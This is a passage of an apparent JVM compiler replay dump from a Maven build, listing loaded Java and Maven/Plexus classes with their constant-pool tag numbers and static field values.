1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/io/Serializable 1 0 7 100 100 1 1 1 1\nciInstanceKlass java/lang/String 1 1 876 10 8 9 9 9 10 10 10 9 10 7 10 10 10 10 10 100 8 10 10 9 9 8 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 10 10 100 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 100 10 10 11 11 10 10 10 10 10 10 9 11 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 11 10 10 10 10 10 10 100 10 7 10 10 10 10 10 8 10 10 100 3 3 7 10 10 10 10 10 11 7 10 10 100 10 10 10 11 11 11 7 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 100 10 100 10 10 100 10 10 10 7 10 10 10 10 8 10 10 10 8 8 10 10 10 10 10 10 10 100 10 8 10 10 10 7 3 8 8 8 10 10 10 10 10 10 8 8 10 8 8 8 8 8 10 10 10 8 7 10 10 10 7 9 7 10 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 7 1 1 1 100 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 100 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 12 12 12 12 12 12 12 7 12 1 7 7 12 12 12 12 1 12 7 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 1 12 12 12 12 100 12 12 12 12 12 12 12 12 12 12 1 1 12 12 12 12 12 12 12 12 12 7 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 7 12 12 12 12 7 12 12 12 12 7 12 12 7 12 1 1 12 12 12 1 12 1 1 12 12 12 12 7 12 12 12 1 12 12 100 12 12 12 1 12 7 12 12 12 12 12 12 12 12 12 12 12 1 1 1 12 1 100 12 1 1 12 1 12 12 1 12 12 1 1 12 12 12 100 12 7 12 100 12 1 1 12 12 1 1 1 1 12 12 12 12 1 1 1 1 1 1 1 12 12 12 1 1 12 12 12 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/String COMPACT_STRINGS Z 1\nstaticfield java/lang/String serialPersistentFields [Ljava/io/ObjectStreamField; 0 [Ljava/io/ObjectStreamField;\nstaticfield java/lang/String CASE_INSENSITIVE_ORDER Ljava/util/Comparator; java/lang/String$CaseInsensitiveComparator\nciInstanceKlass java/lang/Class 1 1 1435 10 9 9 7 10 10 8 10 8 8 10 10 10 10 10 10 10 10 10 10 10 8 10 8 8 10 7 8 8 8 10 11 10 10 8 10 10 10 10 9 10 10 10 18 10 7 10 10 10 100 10 9 7 7 8 10 10 10 10 7 10 7 7 10 10 9 10 10 7 10 100 10 10 10 9 10 10 10 9 10 10 100 10 10 10 10 9 8 10 10 10 10 10 10 9 10 7 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 8 10 10 100 10 100 11 10 10 10 10 10 10 8 10 10 8 9 10 10 10 10 100 9 10 9 10 10 10 8 10 10 10 10 100 10 10 10 10 10 10 10 7 10 10 10 10 10 10 10 10 10 7 10 10 11 10 10 10 10 10 10 100 10 10 10 100 7 10 10 10 10 10 10 10 10 11 10 10 9 10 9 7 10 9 10 7 10 9 10 10 10 10 10 10 10 8 10 10 9 9 10 7 9 10 10 7 10 10 10 10 9 10 9 10 10 9 9 10 10 9 7 10 10 7 10 7 11 9 9 7 10 9 9 10 10 9 7 10 10 10 10 10 10 10 9 10 10 10 10 8 7 10 7 8 8 8 8 10 9 9 10 7 9 7 10 7 10 10 9 8 10 7 10 7 10 9 100 8 10 7 4 10 10 11 10 100 10 10 8 8 10 9 11 7 11 9 10 10 10 9 9 10 10 10 10 10 11 11 11 11 7 11 10 10 7 11 10 10 10 11 11 7 10 10 9 9 10 10 10 10 100 10 10 7 9 100 7 100 100 1 1 1 7 1 1 1 1 1 3 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 100 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 1 12 1 12 1 1 12 12 12 12 12 12 7 12 12 12 12 1 12 1 1 12 1 1 1 1 12 12 12 1 7 12 12 12 7 12 7 12 12 7 12 12 1 15 16 15 16 12 7 12 1 12 12 7 1 12 12 1 1 1 12 12 12 12 1 12 1 1 12 12 12 12 1 100 12 12 12 12 12 12 12 12 12 1 12 12 12 12 1 12 12 12 12 12 12 12 7 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 1 12 1 12 1 12 100 12 12 12 12 12 1 12 12 1 12 12 12 12 12 1 12 12 12 12 12 1 12 12 12 12 1 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 1 7 12 12 12 12 100 12 12 12 1 12 12 1 1 12 12 12 12 12 12 100 12 7 12 12 12 12 12 12 1 12 12 1 12 12 100 12 12 12 100 12 12 12 12 1 12 12 12 12 12 1 12 12 12 1 12 12 7 12 7 12 12 12 12 12 12 12 12 12 12 12 1 12 1 12 7 12 12 1 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 1 7 1 1 1 1 12 12 12 12 1 12 1 1 1 12 7 12 12 1 12 1 12 12 1 1 1 12 12 12 1 12 1 1 12 12 12 1 12 12 100 12 7 12 12 12 12 12 12 12 12 12 12 12 12 1 12 7 12 12 1 12 100 12 12 12 12 1 12 12 12 7 12 12 7 12 12 12 1 12 12 1 12 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 1 1 100 1 1 100 1 1\nstaticfield java/lang/Class EMPTY_CLASS_ARRAY [Ljava/lang/Class; 0 [Ljava/lang/Class;\nstaticfield java/lang/Class serialPersistentFields [Ljava/io/ObjectStreamField; 0 [Ljava/io/ObjectStreamField;\nciInstanceKlass java/lang/Cloneable 1 0 7 100 100 1 1 1 1\ninstanceKlass lombok/javac/apt/LombokProcessor$1\ninstanceKlass lombok/launch/ShadowClassLoader\ninstanceKlass lombok/javac/apt/LombokProcessor$1\ninstanceKlass lombok/launch/ShadowClassLoader\ninstanceKlass org/eclipse/sisu/space/CloningClassSpace$CloningClassLoader\ninstanceKlass jdk/internal/reflect/DelegatingClassLoader\ninstanceKlass java/security/SecureClassLoader\nciInstanceKlass java/lang/ClassLoader 1 1 1189 9 10 9 10 7 10 10 9 10 100 10 10 10 100 8 10 10 10 10 7 10 7 7 7 10 10 9 7 10 9 9 9 9 9 7 10 9 10 10 9 9 7 9 7 10 10 9 10 7 10 8 10 10 10 7 10 10 8 10 10 10 10 10 10 10 10 7 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 10 100 10 10 10 10 10 100 8 10 8 10 10 100 8 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 8 11 9 11 10 8 8 10 100 10 10 10 10 10 10 10 10 10 7 10 10 10 7 10 100 18 10 10 10 7 10 10 10 100 10 10 10 10 8 100 10 10 9 10 10 100 8 10 10 8 8 10 10 7 10 10 100 100 10 100 100 10 10 10 10 10 10 9 10 10 10 10 10 8 10 7 18 10 10 10 10 8 10 10 18 11 100 10 10 10 11 10 18 10 11 18 11 10 9 7 10 10 8 10 9 8 10 9 8 7 10 10 100 8 10 10 10 8 8 10 10 10 8 8 10 10 10 7 10 10 10 10 10 11 11 11 11 11 7 10 9 9 9 10 10 100 10 100 10 10 10 9 9 9 9 9 9 8 10 10 10 10 10 11 10 100 10 10 10 7 7 10 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 12 12 1 12 12 12 12 1 12 12 12 1 1 12 7 12 12 1 1 1 12 12 12 1 12 12 12 12 12 1 12 12 12 12 12 12 1 12 1 12 12 12 1 1 12 12 1 12 7 12 1 12 12 12 12 12 12 12 12 1 12 100 12 12 12 12 12 12 12 12 12 100 12 12 12 12 1 12 1 12 7 12 12 12 1 1 1 12 12 1 1 12 12 12 12 12 12 12 12 12 12 12 12 7 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 1 1 12 1 12 12 12 12 12 7 12 12 7 1 12 12 1 12 1 1 15 16 15 16 12 100 12 7 12 7 12 1 12 12 12 1 12 12 7 12 12 1 1 12 12 7 12 12 1 1 12 1 1 12 12 1 12 100 12 1 1 12 1 1 12 12 12 12 12 12 100 12 12 12 12 12 12 1 12 1 16 15 16 12 12 12 12 12 1 12 12 16 15 16 12 12 1 12 12 12 15 12 7 12 16 15 16 12 12 12 12 1 12 12 1 12 12 1 12 12 1 1 12 1 1 12 12 1 1 12 12 100 12 1 1 100 12 12 1 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 1 1 12 12 12 12 12 12 12 12 12 12 7 12 12 12 12 12 100 12 1 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 1 1 1 1 1 1 1 10 1 1 1 1 1 10 1 1 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 12 12 12 12 1 1 100 1 1 100 1 1\nstaticfield java/lang/ClassLoader nocerts [Ljava/security/cert/Certificate; 0 [Ljava/security/cert/Certificate;\nstaticfield java/lang/ClassLoader loadedLibraryNames Ljava/util/Set; java/util/HashSet\nstaticfield java/lang/ClassLoader $assertionsDisabled Z 1\nciInstanceKlass java/lang/System 1 1 622 10 10 10 10 10 9 7 10 11 10 10 10 100 8 10 10 9 100 8 10 8 10 100 10 8 10 10 100 10 10 10 9 9 7 10 10 10 10 10 10 100 100 8 10 10 7 10 100 8 10 8 10 100 8 10 100 10 8 10 10 10 8 10 10 10 100 8 10 10 10 100 18 100 9 10 100 10 10 10 10 10 10 10 10 7 7 10 10 100 10 10 100 8 10 9 9 10 10 10 10 8 10 10 8 10 10 8 10 10 7 9 10 7 9 10 9 7 10 8 10 8 10 10 10 10 10 10 10 10 9 100 8 10 8 10 10 8 100 10 10 10 10 100 10 10 10 10 10 8 10 10 10 10 8 10 10 10 7 10 10 10 9 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 100 12 12 12 12 12 12 1 7 12 100 12 100 12 12 12 1 1 12 12 12 1 1 12 1 12 1 12 12 12 1 12 100 12 12 12 12 1 12 12 12 12 12 1 1 1 12 12 1 12 1 1 1 12 1 1 1 1 12 12 7 12 1 12 100 12 7 12 1 1 12 100 12 1 1 15 16 15 16 12 1 12 12 1 12 12 7 12 12 12 12 12 12 1 1 12 12 1 12 7 12 1 1 12 12 12 12 12 12 1 12 12 1 12 12 1 7 12 7 12 1 7 12 12 1 12 12 1 12 1 12 1 7 12 12 7 12 12 7 12 12 12 7 12 12 1 1 12 1 12 1 1 12 7 12 12 1 12 12 12 100 12 1 12 12 1 12 12 12 1 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 1 1 100 1 1 100 1 1\nstaticfield java/lang/System in Ljava/io/InputStream; java/io/BufferedInputStream\nstaticfield java/lang/System out Ljava/io/PrintStream; org/fusesource/jansi/AnsiPrintStream\nstaticfield java/lang/System err Ljava/io/PrintStream; org/fusesource/jansi/AnsiPrintStream\ninstanceKlass lombok/javac/handlers/HandleDelegate$DelegateRecursion\ninstanceKlass lombok/javac/handlers/HandleDelegate$DelegateRecursion\ninstanceKlass org/apache/maven/artifact/repository/metadata/RepositoryMetadataDeploymentException\ninstanceKlass org/apache/maven/artifact/repository/metadata/RepositoryMetadataInstallationException\ninstanceKlass java/lang/Exception\ninstanceKlass java/lang/Error\nciInstanceKlass java/lang/Throwable 1 1 364 10 9 9 9 9 9 10 9 10 10 100 100 10 8 10 8 10 10 10 100 8 10 10 10 10 8 9 10 100 10 10 100 10 10 11 10 10 10 8 10 10 7 8 8 10 10 8 8 9 10 100 10 11 8 8 10 8 10 8 100 10 9 10 10 7 9 10 10 100 8 10 10 11 100 10 11 11 11 8 8 10 11 10 9 8 10 9 10 9 11 100 10 7 10 7 100 1 1 1 100 1 100 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 12 12 12 12 12 1 1 1 12 1 100 12 12 1 1 12 7 12 12 1 100 12 12 1 12 12 1 7 12 12 12 12 12 1 12 12 1 1 1 12 12 1 1 12 100 12 1 12 1 1 12 1 12 1 1 12 12 12 7 12 12 12 7 1 1 12 100 12 12 1 12 12 12 12 1 1 100 12 1 100 12 100 12 12 12 12 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/Throwable UNASSIGNED_STACK [Ljava/lang/StackTraceElement; 0 [Ljava/lang/StackTraceElement;\nstaticfield java/lang/Throwable SUPPRESSED_SENTINEL Ljava/util/List; java/util/Collections$EmptyList\nstaticfield java/lang/Throwable EMPTY_THROWABLE_ARRAY [Ljava/lang/Throwable; 0 [Ljava/lang/Throwable;\nstaticfield java/lang/Throwable $assertionsDisabled Z 1\ninstanceKlass com/sun/tools/javac/tree/Pretty$UncheckedIOException\ninstanceKlass com/sun/source/util/TreePath$1Result\ninstanceKlass com/sun/tools/javac/file/PathFileObject$CannotCreateUriError\ninstanceKlass com/sun/tools/javac/tree/TreeInfo$1Result\ninstanceKlass com/sun/tools/javac/processing/ServiceProxy$ServiceConfigurationError\ninstanceKlass com/sun/tools/javac/util/Abort\ninstanceKlass com/sun/tools/javac/processing/AnnotationProcessingError\ninstanceKlass com/sun/tools/javac/util/FatalError\ninstanceKlass java/util/ServiceConfigurationError\ninstanceKlass com/google/common/util/concurrent/ExecutionError\ninstanceKlass java/lang/AssertionError\ninstanceKlass java/io/IOError\ninstanceKlass org/apache/maven/BuildAbort\ninstanceKlass java/lang/VirtualMachineError\ninstanceKlass java/lang/LinkageError\ninstanceKlass java/lang/ThreadDeath\nciInstanceKlass java/lang/Error 1 1 40 10 10 10 10 10 100 7 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 1 1\nciInstanceKlass java/lang/ThreadDeath 0 0 21 10 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 12 1 1\ninstanceKlass org/codehaus/plexus/util/cli/CommandLineException\ninstanceKlass org/codehaus/plexus/interpolation/InterpolationException\ninstanceKlass org/codehaus/plexus/components/interactivity/PrompterException\ninstanceKlass org/codehaus/plexus/archiver/manager/NoSuchArchiverException\ninstanceKlass org/codehaus/plexus/archiver/ArchiveFilterException\ninstanceKlass org/codehaus/plexus/archiver/jar/ManifestException\ninstanceKlass org/codehaus/plexus/interpolation/InterpolationException\ninstanceKlass org/codehaus/plexus/archiver/jar/ManifestException\ninstanceKlass org/codehaus/plexus/archiver/manager/NoSuchArchiverException\ninstanceKlass org/codehaus/plexus/util/cli/CommandLineException\ninstanceKlass org/apache/maven/surefire/api/testset/TestSetFailedException\ninstanceKlass org/apache/maven/surefire/booter/SurefireExecutionException\ninstanceKlass org/apache/maven/surefire/booter/SurefireBooterForkException\ninstanceKlass lombok/javac/handlers/HandleDelegate$CantMakeDelegates\ninstanceKlass lombok/javac/JavacResolution$TypeNotConvertibleException\ninstanceKlass org/springframework/boot/configurationprocessor/json/JSONException\ninstanceKlass lombok/javac/handlers/HandleDelegate$CantMakeDelegates\ninstanceKlass lombok/javac/JavacResolution$TypeNotConvertibleException\ninstanceKlass com/sun/tools/javac/parser/ReferenceParser$ParseException\ninstanceKlass com/sun/tools/javac/jvm/JNIWriter$TypeSignature$SignatureException\ninstanceKlass com/sun/tools/javac/jvm/ModuleNameReader$BadClassFile\ninstanceKlass com/sun/tools/javac/jvm/ClassWriter$StringOverflow\ninstanceKlass com/sun/tools/javac/jvm/ClassWriter$PoolOverflow\ninstanceKlass com/sun/tools/doclint/DocLint$BadArgs\ninstanceKlass com/sun/tools/javac/main/Option$InvalidValueException\ninstanceKlass org/codehaus/plexus/util/cli/CommandLineException\ninstanceKlass org/codehaus/plexus/compiler/manager/NoSuchCompilerException\ninstanceKlass org/codehaus/plexus/compiler/CompilerException\ninstanceKlass org/codehaus/plexus/compiler/util/scan/InclusionScanException\ninstanceKlass org/apache/maven/shared/filtering/MavenFilteringException\ninstanceKlass org/apache/maven/artifact/DependencyResolutionRequiredException\ninstanceKlass org/codehaus/plexus/util/introspection/MethodMap$AmbiguousException\ninstanceKlass java/net/URISyntaxException\ninstanceKlass org/xml/sax/SAXException\ninstanceKlass javax/xml/parsers/ParserConfigurationException\ninstanceKlass org/codehaus/plexus/interpolation/reflection/MethodMap$AmbiguousException\ninstanceKlass org/apache/maven/model/resolution/UnresolvableModelException\ninstanceKlass org/apache/maven/model/resolution/InvalidRepositoryException\ninstanceKlass org/apache/maven/cli/internal/ExtensionResolutionException\ninstanceKlass org/apache/maven/toolchain/building/ToolchainsBuildingException\ninstanceKlass org/apache/maven/execution/MavenExecutionRequestPopulationException\ninstanceKlass org/apache/maven/plugin/version/PluginVersionNotFoundException\ninstanceKlass org/apache/maven/plugin/InvalidPluginException\ninstanceKlass org/apache/maven/repository/ArtifactDoesNotExistException\ninstanceKlass org/apache/maven/repository/ArtifactTransferFailedException\ninstanceKlass org/codehaus/plexus/configuration/PlexusConfigurationException\ninstanceKlass org/codehaus/plexus/component/composition/CycleDetectedInComponentGraphException\ninstanceKlass org/codehaus/plexus/component/configurator/expression/ExpressionEvaluationException\ninstanceKlass org/apache/maven/repository/metadata/MetadataResolutionException\ninstanceKlass org/apache/maven/configuration/BeanConfigurationException\ninstanceKlass org/codehaus/plexus/component/configurator/ComponentConfigurationException\ninstanceKlass org/apache/maven/repository/metadata/MetadataGraphTransformationException\ninstanceKlass org/apache/maven/repository/metadata/GraphConflictResolutionException\ninstanceKlass org/apache/maven/artifact/installer/ArtifactInstallationException\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/SecDispatcherException\ninstanceKlass org/sonatype/plexus/components/cipher/PlexusCipherException\ninstanceKlass org/apache/maven/settings/building/SettingsBuildingException\ninstanceKlass org/apache/maven/artifact/repository/metadata/RepositoryMetadataReadException\ninstanceKlass org/apache/maven/artifact/repository/metadata/RepositoryMetadataStoreException\ninstanceKlass org/apache/maven/plugin/PluginConfigurationException\ninstanceKlass org/apache/maven/artifact/deployer/ArtifactDeploymentException\ninstanceKlass org/apache/maven/model/building/ModelBuildingException\ninstanceKlass org/codehaus/plexus/personality/plexus/lifecycle/phase/InitializationException\ninstanceKlass org/apache/maven/project/interpolation/ModelInterpolationException\ninstanceKlass org/apache/maven/repository/legacy/metadata/ArtifactMetadataRetrievalException\ninstanceKlass org/apache/maven/BuildFailureException\ninstanceKlass org/codehaus/plexus/util/dag/CycleDetectedException\ninstanceKlass org/apache/maven/project/DuplicateProjectException\ninstanceKlass org/apache/maven/project/ProjectBuildingException\ninstanceKlass org/apache/maven/repository/legacy/resolver/conflict/ConflictResolverNotFoundException\ninstanceKlass org/apache/maven/artifact/versioning/InvalidVersionSpecificationException\ninstanceKlass org/apache/maven/lifecycle/LifecycleExecutionException\ninstanceKlass org/apache/maven/lifecycle/internal/builder/BuilderNotFoundException\ninstanceKlass org/apache/maven/lifecycle/NoGoalSpecifiedException\ninstanceKlass org/apache/maven/lifecycle/MissingProjectException\ninstanceKlass org/apache/maven/lifecycle/LifecycleNotFoundException\ninstanceKlass org/apache/maven/lifecycle/LifecyclePhaseNotFoundException\ninstanceKlass org/apache/maven/plugin/InvalidPluginDescriptorException\ninstanceKlass org/apache/maven/plugin/MojoNotFoundException\ninstanceKlass org/apache/maven/plugin/PluginDescriptorParsingException\ninstanceKlass org/apache/maven/project/DependencyResolutionException\ninstanceKlass org/eclipse/aether/RepositoryException\ninstanceKlass org/apache/maven/toolchain/MisconfiguredToolchainException\ninstanceKlass java/security/GeneralSecurityException\ninstanceKlass org/codehaus/plexus/component/repository/exception/ComponentLifecycleException\ninstanceKlass org/apache/maven/plugin/prefix/NoPluginFoundForPrefixException\ninstanceKlass org/apache/maven/MavenExecutionException\ninstanceKlass org/apache/maven/artifact/resolver/AbstractArtifactResolutionException\ninstanceKlass org/apache/maven/artifact/repository/metadata/RepositoryMetadataResolutionException\ninstanceKlass org/apache/maven/plugin/PluginManagerException\ninstanceKlass org/apache/maven/plugin/version/PluginVersionResolutionException\ninstanceKlass org/apache/maven/plugin/PluginResolutionException\ninstanceKlass org/apache/maven/artifact/InvalidRepositoryException\ninstanceKlass org/apache/http/HttpException\ninstanceKlass org/apache/maven/wagon/WagonException\ninstanceKlass org/apache/maven/plugin/AbstractMojoExecutionException\ninstanceKlass java/security/PrivilegedActionException\ninstanceKlass java/util/concurrent/TimeoutException\ninstanceKlass com/google/common/collect/RegularImmutableMap$BucketOverflowException\ninstanceKlass java/util/concurrent/ExecutionException\ninstanceKlass java/lang/InterruptedException\ninstanceKlass com/google/inject/internal/ErrorsException\ninstanceKlass com/google/inject/internal/InternalProvisionException\ninstanceKlass org/codehaus/plexus/context/ContextException\ninstanceKlass java/text/ParseException\ninstanceKlass org/codehaus/plexus/PlexusContainerException\ninstanceKlass org/codehaus/plexus/component/repository/exception/ComponentLookupException\ninstanceKlass org/codehaus/plexus/util/xml/pull/XmlPullParserException\ninstanceKlass java/lang/CloneNotSupportedException\ninstanceKlass sun/nio/fs/WindowsException\ninstanceKlass org/apache/commons/cli/ParseException\ninstanceKlass org/codehaus/plexus/interpolation/InterpolationException\ninstanceKlass org/apache/maven/cli/MavenCli$ExitException\ninstanceKlass org/codehaus/plexus/classworlds/launcher/ConfigurationException\ninstanceKlass java/io/IOException\ninstanceKlass org/codehaus/plexus/classworlds/ClassWorldException\ninstanceKlass java/lang/ReflectiveOperationException\ninstanceKlass java/lang/RuntimeException\nciInstanceKlass java/lang/Exception 1 1 40 10 10 10 10 10 100 7 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 1 1\ninstanceKlass org/codehaus/plexus/archiver/ArchiverException\ninstanceKlass org/codehaus/plexus/archiver/ArchiverException\ninstanceKlass org/apache/maven/surefire/api/util/SurefireReflectionException\ninstanceKlass org/springframework/boot/configurationprocessor/metadata/InvalidConfigurationMetadataException\ninstanceKlass lombok/core/AnnotationValues$AnnotationValueDecodeFail\ninstanceKlass 